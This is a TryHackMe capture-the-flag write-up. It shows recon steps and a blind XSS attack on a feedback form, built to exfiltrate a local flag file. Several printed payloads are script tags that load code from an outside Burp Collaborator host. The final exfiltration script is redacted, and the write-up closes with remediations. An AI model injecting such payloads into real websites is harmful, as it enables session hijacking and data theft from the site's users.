The Sticker Shop | TryHackMe CTF Write-up + Summary

This Write-up/Walkthrough will provide my full process for the Greenhorn THMCTF. It will include my (many) mistakes alongside (eventually) the correct solution. I encourage you to not copy my exact actions, but to use this to help you understand a different approach.

I have redacted some elements for either brevity or to prevent someone simply getting easy flags. There is nothing to be gained by cheating for some random digital points.

I have kept my errors in, alongside any rabbit holes I fell into. I have kept them for 2 reasons:

• It helps my learning process to write up my mistakes/process
• It helps show others like me that sometimes the answer isn't 'obvious' or easily found.

At the end, I will include a summary of what we have covered in the style of a Management Summary.

Let's get started.

(THM — If additional redactions need to be made, please let me know.)

Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!

As I am waiting for the box to load up, I'm just considering what it may involve. Looks likely to be outdated software vulnerability based on it being a webapp. It may also be IDOR. We'll find out shortly, but first, I'm going to make an organised structure in my folders:

Easy.

Now, I'm hoping this is actually 'easy' and not 'easy if you have 134 years of experience'.

The aim here is:

Can you read the flag at [http://10.10.91.51:8080/flag.txt](http://10.10.91.51:8080/flag.txt?)?

Well, let's go straight to that page and see what happens:

As expected. Let's do a few things now. First, I'm going to setup Burp — this is a must for webapps. Community edition will be fine.

If you do not know how to setup a Burp proxy on Firefox, simply use the built in browser in Burp.

I'm now going to visit the 401 page in Burp to see if it shows any additional information — I'm not expecting it to do so, but always worth being sure.

After capturing, I send it to repeater:

Go to repeater, hit 'send':

Nothing revealed — but we will be using Burp throughout.

Right, now let's check the IP — is it just a webapp? After all, they are 'new' to it, and may not know that other services on the web app server isn't a great idea.

simple nmap:

Hm, nothing extra, thoguh we do have some version information — Werkzeug and Python. Could be outdated and vulnerable (Python from memory definitely is outdated, probably vulnerable).

Let's now go to the webpage:

Aww, how cute.

A feedback page? Interesting:

I wonder if it reflects what we type?

No… Let's capture it in Burp and see what it says:

Nothing overly useful jumps out to me. Let's keep poking around but think will be something to return to I think. It does mention how it is going to be read by the team, somewhat suggesting manual use.

My poking around didn't last long — there wasn't much else. I am going to do some directory enumeration in the background:

With most CTFs, if there is something worth finding, we'll find it pretty quickly.

Nothing. Good — we have ruled one option out.

I decided to explore the Werkzeug 3.0.1 further, and found this:

This is worth exploring ,though not sure it is the correct approach — the article mentions it is a very difficult attack to achieve.

No PoCs exist either, so not looking promising. We'll keep this in mind, but doesn't seem like the right approach for this CTF.

Part of me wonders whether this is an exploit where we send a payload to be clicked. XSS Blind approach? May return to this idea shortly.

I explored the URLs — changing only led to 404s:

The hint at the start suggests they store it all on one computre, which does suggest traversal of some sort.

The issue is finding that traversal.

I'm going to do a complete nmap port scan, just to be sure nothing has been port on a weird port.

Hmm.

Let's return the the previous ideas now we have exhausted the easy ideas.

XSS, which I alluded to before with the manual clicking.

Now, I'm going to use burp collaborator for ease. There is a way to do it without this, but I'll be honest and say I don't know that approach.

Now, if this doesn't work, I'll try some obfuscation techniques, as it is possible that there is some filtering in place.

The issue with Blind XSS is working out what is filtered. I also need to wait for it to be clicked…

I tried a number of payloads (even without the typo above..), such as:

"><script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>
"<script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>
"><script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>

"><script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>
"<script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>
"><script src=https://vihjp4edv8p8rme3g2jkthv79yfp3jr8.oastify.com></script>

With this, with know now it is a blind XSS vulnerability. We now need to construct a payload.

I'm not the best with scripts, but I know how to create prompts. I knew what we needed: a way to fetch the flag.txt url, and send that data to myself.

This was after some back and forth — let's give it a go.

First, let's setup our own server:

Now, let's customise the script. This should work as we know that they host everything on their own server. Since it is local, we should be able to use 127.0.0.1 instead of the external IP we have:

Blurred out bits as it isn't too hard to create and it is absolutely worth trying it yourself.

I'll wait a little bit, and if I get nothing back, I'll try a different payload — it could easily be a formatting issue.

OK This is interesting. Tried to do POST but unsupported. Let's try simplifying the script — chatGPT may have gone overboard.

Some back and forth with chatGPT, and I ended up with this payload:

Simply — base64 encoding made the magic work. It sends the request as base64, and I receive it as base64:

I put this through a decoder, and voila!

Summary

This is a fun little box focussing on blind XSS. To get there, we explored several pathways. We checked for hidden directories, additional ports, and vulnerable software. In the end, the issue is one of the most common:

Humans.

We observed early on that the feedback appeared to be manually verified. We also knew they use the host computer for everything. We therefore could see that by sending a malicious payload to the victim, we could get the flag contents sent to us. Despite not being experts at script writing, we used what we did know to utilse technology to assist us. When the scripts did not work, we analysed the errors and fixed them accordingly.

There are several remediations:

• Ensure servers are not used for everyday use
• Ensure sensitive files are protected
• Additional input sanitisation to prevent scripts
• Train staff not to click on random links

Overall, a fun easy box to showcase how blind XSS can be deployed. I hope you have found this article useful!